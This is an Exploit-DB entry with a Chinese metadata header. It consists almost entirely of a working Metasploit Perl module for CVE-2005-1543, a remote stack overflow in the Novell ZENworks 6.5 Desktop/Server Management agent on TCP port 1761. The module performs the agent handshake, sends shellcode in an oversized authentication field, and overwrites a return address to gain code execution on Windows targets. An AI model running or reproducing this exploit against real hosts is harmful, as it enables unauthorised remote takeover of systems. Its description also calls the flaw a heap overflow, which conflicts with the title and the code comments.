标题: Novell ZENworks 6.5 - Desktop/Server Management Remote Stack Overflow (Metasploit) EDB-ID: 1150 CVE: 2005-1543 类型: REMOTE 平台: WINDOWS 发布日期: 2005-08-12 漏洞利用脚本: #
#

package Msf::Exploit::zenworks_desktop_agent;
use strict;
use base "Msf::Exploit";
use Pex::Text;

my $advanced = { };

my $info =
  {
 'Name'  => 'ZENworks 6.5 Desktop/Server Management Remote Stack Overflow',
 'Version'  => '$Revision: 1.1 $',
 'Authors' =>
   [
  'Anonymous',
   ],
 'Arch'  => [ 'x86' ],
 'OS'    => [ 'win32', 'winxp', 'win2k', 'win2003' ],
 'Priv'  => 1,

 'UserOpts'  =>
   {
  'RHOST' => [1, 'ADDR', 'The target address'],
  'RPORT' => [1, 'PORT', 'The target port', 1761 ],
   },
   
 'Payload' =>
   {
  'Space'     => 0x7FFF,
  'BadChars'  => "\x00",
  'Keys'      => ['+ws2ord'],
   },

 'Description'  => Pex::Text::Freeform(qq{
  This module exploits a heap overflow in the Novell ZENworks
        Desktop Management agent.
}),

 'Refs'  =>
   [
  ['BID', 13678],
   ],  
  
 'Targets' =>
   [
  [ 'Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent', 0x10002e06]
   ],
   
 'Keys'  => ['zenworks'],
};

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}

sub Exploit {
 my $self        = shift;
 my $target_host = $self->GetVar('RHOST');
 my $target_port = $self->GetVar('RPORT');
 my $target_idx  = $self->GetVar('TARGET');
 my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
 my $target      = $self->Targets->[$target_idx];

 $self->PrintLine( "[*] Attempting to exploit " . $target->[0] );

 my $s = Msf::Socket::Tcp->new(
  'PeerAddr'  => $target_host,
  'PeerPort'  => $target_port,
  'LocalPort' => $self->GetVar('CPORT'),
   );

 if ( $s->IsError ) {
  $self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
  return;
 }

        my $req = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77";
        $self->PrintLine( "[*] Sending version identication" );
 $s->Send($req);

        my $ident = $s->Recv(-1, 16);
        if (length($ident) != 16)
        {
         $self->PrintLine( "[*] Failed to receive agent version identication" );
         return;
        }
        else
        {
         $self->PrintLine( "[*] Received agent version identication" );
        }

        $req = "\x00\x01";
        $self->PrintLine( "[*] Sending client acknowledgment" );
 $s->Send($req);

        # stack overflow in ZenRem32.exe / ZENworks Server Management

 $req = "\x00\x06metmet\x00\x06metmet\x7F\xFF" . $shellcode . "\x00\x01";
        $self->PrintLine( "[*] Sending authentication data (including shellcode)" );
        $s->Send($req);

 $s->Recv(2, 2);
 $s->Send("\x00\x01");
        
        #$s->Recv(2, 2);
        #my $len = $s->Recv(2,2);
        #$len = unpack ('n', $len);
        #$s->Recv($len, $len);
 
        $s->Send("\x00\x02");

        $self->PrintLine( "[*] Sending final payload" );

        # pop/pop/pop/pop/pop/ret in zencomm.dll on our shellcode
 my $crash = "A" x 0x20;
 $req = "\x00\x24" . $crash . pack('V', $target->[1]);
        $s->Send($req);
     
 $self->PrintLine("[*] Overflow request sent, sleeping for four seconds");
 select(undef, undef, undef, 4);

 $self->Handler($s);
        return;
}

1;

# milw0rm.com [2005-08-12] URL: https://www.exploit-db.com/exploits/1150